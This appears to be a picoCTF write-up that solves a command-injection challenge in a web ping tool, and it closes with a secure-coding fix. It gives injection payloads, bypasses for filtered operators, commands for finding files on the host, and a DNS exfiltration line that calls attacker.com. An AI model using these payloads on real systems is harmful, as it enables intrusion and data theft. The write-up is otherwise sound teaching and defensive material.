ping-cmd picoCTF 2026 Solution

Description

1. Step 1Identify the injection point

   Observation

   The page takes an IP address and hands it to ping. That input is being concatenated into a shell command with no sanitization, so a metacharacter chains a second command onto it.

   The web app takes a user-supplied IP and passes it directly to the shell's ping command without sanitisation. This allows command injection by appending shell operators.

   Learn more

   Command injection occurs when user-controlled input is concatenated into a shell command string and executed by a system shell. The classic example is a web "ping tool" that constructs the command as ping -c 4 <user_input> and passes it to shell_exec(), os.system(), subprocess.run(shell=True), or equivalent. Since shells interpret special characters, appending one to the input lets you run arbitrary additional commands.

   The full operator menu, in order of how often you should reach for them:

   • ;  run the next command unconditionally after the ping finishes.
   • |  pipe ping's stdout into the injected command (also useful for hiding ping noise).
   • &&  run only if ping exited 0; || runs only if ping failed (handy when the IP is filtered).
   • &  background ping and immediately run the next command.
   • `cmd` and $(cmd)  command substitution; the result of cmd is spliced in where the input goes.
   • %0a  URL-encoded newline. Bypasses naive blocklists that strip ; and |.
   • ${IFS} or %09  substitutes for spaces if whitespace is filtered.

   This vulnerability class is ranked in the OWASP Top 10:2025 as "Injection" (A05), the slot numbered A03 in the 2021 edition. For the broader pattern catalogue see the Command injection for CTF post and Web challenges and real-world bug patterns. Network devices (routers, switches, NAS boxes) are particularly common victims because they often expose diagnostic tools like ping through a web UI.

2. Step 2Recon, then inject

   Observation

   Guessing at /flag.txt wastes attempts if the path is wrong. List the working directory first: flag.txt is right there next to script.txt.

   Start with plain ls (no path) to list the current working directory. In this challenge, flag.txt and script.txt are both in the working directory, not at the filesystem root. Read script.txt first to confirm how the server handles your input, then cat flag.txt to get the flag.

   bash

   8.8.8.8; ls

   Copied!

   bash

   8.8.8.8; cat script.txt

   Copied!

   bash

   8.8.8.8; cat flag.txt

   Copied!

   Expected output

   picoCTF{p1nG_c0mm@nd_3xpL0it_su33essFuL_...}

   What didn't work first

   Tried: Injecting directly at the root with '8.8.8.8; cat /flag.txt' before doing any recon.

   The flag sits in the server's working directory, not at the root. Reading /flag.txt returns no such file, which reads as the injection failing entirely. List the directory first and the guesswork disappears.

   Tried: Trying '8.8.8.8 && cat flag.txt' when the semicolon appears to do nothing.

   The && operator runs the second command only if ping exits successfully, and packet loss or a firewall makes it exit non-zero, so your command is skipped silently. A semicolon runs unconditionally, which matters when you are testing blind.

   Learn more

   The payload 8.8.8.8; cat flag.txt works because the shell first executes ping -c 4 8.8.8.8, and then (because of the ; operator) executes cat flag.txt in the server's working directory. Both outputs are returned to the page, so the flag appears mixed with ping statistics.

   Reading script.txt before the flag confirms the vulnerability: the server reads the domain input and concatenates it directly into the ping command without sanitisation, which is exactly what makes the injection work. This recon step turns a guess into a verified exploit.

   When the flag location is less obvious, expand discovery: ls / to list the root directory, find / -name "*flag*" -type f 2>/dev/null to scan the whole filesystem (2>/dev/null swallows permission errors that would otherwise drown out the hit), and env | grep -i flag to check environment variables. Common locations: /flag.txt, /flag, /home/ctf-player/flag.txt, /root/flag.txt.

   If the semicolon is filtered, swap in any of the alternative operators above (pipe, &&, %0a, backticks). If even the alternatives are blocked, look for blind injection paths: trigger a sleep 5 and watch response time, or exfiltrate via DNS with nslookup $(whoami).attacker.com.

3. Step 3Read the flag output

   Observation

   The server prints command output straight into the page after the ping statistics, so this is in-band injection and the flag comes back in the same response.

   The server executes the injected command and returns the output in the page response, revealing the flag.

   Learn more

   When command injection is successful and the output is reflected in the response (as in this challenge), it's called in-band command injection. You see the results directly. More difficult variants include blind command injection, where there is no output reflection and you must use time delays (sleep 5) or out-of-band channels (DNS lookups, HTTP requests to an attacker-controlled server) to confirm execution and exfiltrate data.

   The single most important defensive fix is to not hand user input to a shell. The contrast looks like this:

   # VULNERABLE: shell concatenation
   import subprocess
   subprocess.run('ping -c 4 ' + ip, shell=True)
   
   # SAFE: argv list, no shell
   subprocess.run(['ping', '-c', '4', ip])

   The list form passes ip directly as a single argv[1] to the ping binary. The metacharacters lose their meaning because there's no shell to interpret them. Pair this with strict allowlist validation (e.g. ipaddress.ip_address(ip)) and the bug class disappears entirely.

   Tools like commix automate detection and exploitation, similar to how sqlmap automates SQL injection. Understanding how to exploit it manually first is important before reaching for automated tools.

Flag

The flag is revealed directly in the ping output after command injection.